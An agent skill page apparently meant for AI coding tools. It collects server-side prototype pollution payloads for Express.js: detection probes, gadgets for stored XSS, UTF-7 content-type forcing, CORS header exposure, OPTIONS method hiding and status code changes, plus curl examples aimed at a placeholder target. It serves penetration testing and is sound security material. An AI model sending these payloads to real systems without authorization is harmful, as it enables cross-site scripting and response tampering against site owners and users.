# Express Prototype Pollution

> How to test for and exploit prototype pollution vulnerabilities in Express.js applications. Use this skill whenever you're pentesting Node.js/Express applications, analyzing JSON parsing vulnerabilities, or investigating server-side prototype pollution. Make sure to use this skill when you see JSON body parsing, lodash/underscore merge operations, or need to test for prototype pollution gadgets like XSS via content-type manipulation, header injection, or status code changes.

- Skill: `abelrguezr/express-prototype-pollution` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/express-prototype-pollution`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/express-prototype-pollution/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/express-prototype-pollution

---


# Express Prototype Pollution Gadgets

A collection of prototype pollution payloads and techniques for testing Express.js applications.

## Overview

Prototype pollution in Express applications can lead to various impacts including XSS, header manipulation, and response modification. This skill covers detection techniques, exploitation gadgets, and safe scanning methods.

## Detection Techniques

### Error-Based Detection

Use these payloads to detect if prototype pollution is successful:

```javascript
// Throws exception if prototype pollution works
;({}).__proto__.__proto__ = {}

// No-op (doesn't throw) if prototype pollution works
{}.__proto__.__proto__ = "x"
```

**How to use:** Send these as part of your test payload. If the application throws an exception, prototype pollution is likely successful.

### Reflected Value Detection

Create an attribute with an unusual name alongside `__proto__`:

```json
{ "unusualName": "value", "__proto__": "test" }
```

**Interpretation:** If only the unusual attribute is returned in the response, the application may be vulnerable to prototype pollution.

### Lodash-Specific Detection

When Lodash is employed, set a property both via prototype pollution and directly:

```json
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
```

**Interpretation:** If only `b` is reflected (not `a`), this indicates prototype pollution in Lodash is occurring.

## Exploitation Gadgets

### XSS via Content-Type Manipulation

**Prerequisites:**
- Express app using `res.send(obj)`
- Body parser with `application/json` content type
- JSON response being reflected

**Payload:**
```json
{ "__proto__": { "_body": true, "body": "<script>evil()</script>" } }
```

**Impact:** Express serves HTML content type and reflects the `_body` property, resulting in stored XSS.

### UTF-7 Content Rendering

**Payload:**
```json
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
```

**Impact:** Forces Express to render UTF-7 content, which can be used for XSS bypasses.

### Header Manipulation

#### Expose Custom Headers

**Prerequisites:** CORS module must be installed

**Payload:**
```json
{ "__proto__": { "exposedHeaders": ["foo"] } }
```

**Impact:** Server sends back `Access-Control-Expose-Headers: foo`

#### Hide Methods from OPTIONS Response

**Original response:** `POST, GET, HEAD`

**Payload:**
```json
{"__proto__":{"head":true}}
```

**New response:** `POST, GET`

**Impact:** Can hide HTTP methods from OPTIONS responses, potentially bypassing security checks.

### Status Code Manipulation

**Payload:**
```json
{ "__proto__": { "status": 510 } }
```

**Impact:** Changes the returned HTTP status code to 510 (Not Extended).

## Safe Scanning Techniques

### JSON Spaces Injection

**Payload:**
```json
{ "__proto__": { "json spaces": " " } }
```

**Result:** Attributes inside JSON will have an extra space:
```json
{"foo":  "bar"}
```

**Use case:** Non-destructive way to verify prototype pollution without breaking functionality.

### Allow Dots Configuration

**Payload:**
```json
{ "__proto__": { "allowDots": true } }
```

**Impact:** Enables creation of objects from query string parameters like `?foo.bar=baz`

**Use case:** Can be used in bug chains to exploit prototype pollution via query parameters.

## Testing Workflow

1. **Initial Detection:** Start with safe scanning techniques (JSON spaces, reflected values)
2. **Confirm Vulnerability:** Use error-based detection to verify prototype pollution
3. **Impact Assessment:** Test exploitation gadgets based on application behavior
4. **Chain Building:** Combine with other vulnerabilities for full exploitation

## Important Notes

- **Primitive Assignment:** Assigning primitives to prototypes produces no-op operations since prototypes must be objects
- **Lodash Behavior:** Lodash verifies property existence before merging, which affects detection
- **CORS Requirement:** Header exposure gadgets require the CORS module to be installed
- **Content-Type:** XSS gadgets require the application to use `res.send(obj)` with JSON body parser

## References

- [PortSwigger Research: Server-Side Prototype Pollution](https://portswigger.net/research/server-side-prototype-pollution)
- [HackTricks: Express Prototype Pollution Gadgets](https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets)

## Usage Examples

### Example 1: Testing for XSS

```bash
curl -X POST http://target.com/api \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"_body":true,"body":"<script>alert(1)</script>"}}'
```

### Example 2: Safe Detection

```bash
curl -X POST http://target.com/api \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"json spaces":" "},"test":"value"}'
```

### Example 3: Status Code Manipulation

```bash
curl -X POST http://target.com/api \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"status":510}}'
```

## When to Use This Skill

- Pentesting Node.js/Express applications
- Analyzing JSON parsing vulnerabilities
- Investigating server-side prototype pollution
- Testing applications using lodash, underscore, or similar merge libraries
- Bug bounty hunting on web applications with JSON endpoints
- Security research on prototype pollution chains